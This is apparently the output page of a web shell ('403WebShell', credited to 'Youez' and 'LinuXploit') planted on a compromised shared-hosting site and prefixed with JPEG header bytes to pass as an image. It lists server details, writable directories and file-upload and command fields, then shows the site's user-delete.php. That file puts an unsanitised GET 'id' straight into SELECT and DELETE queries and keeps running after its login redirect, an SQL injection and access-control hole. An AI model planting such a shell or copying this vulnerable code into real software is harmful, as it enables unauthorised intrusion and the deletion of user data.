����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 52.14.176.111
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/user-delete.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <script type="text/javascript" src="./js/sweetalert.min.js"></script>
    <style>
        * {
            font-family: Arial, Helvetica, sans-serif;
        }
    </style>
</head>

<body>
    <?php
    include './php/connect.php';
    include './php/core.php';
    if (!loggedin()) {
        header('location:../signin');
    }
    if (isset($_GET['id'])) {
        $id = $_GET['id'];
        $sql = "SELECT `firstname`,`surname` FROM `users` WHERE `uid`=$id";
        if ($query_run = mysqli_query($conn, $sql)) {
            list($fname, $sname) = mysqli_fetch_array($query_run);
            $sql = "DELETE FROM `users` WHERE `uid`=$id";
            if ($query_run = mysqli_query($conn, $sql)) {
                ?>
                <script>
                    swal("SUCCESS", "<?php echo "$fname $sname deleted"; ?>", "success");
                    setTimeout(function() {
                        window.location = 'users';
                    }, 2000);
                </script>
                <?php
            } else {
                die(mysqli_error($conn));
            }
        }
    }
    ?>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit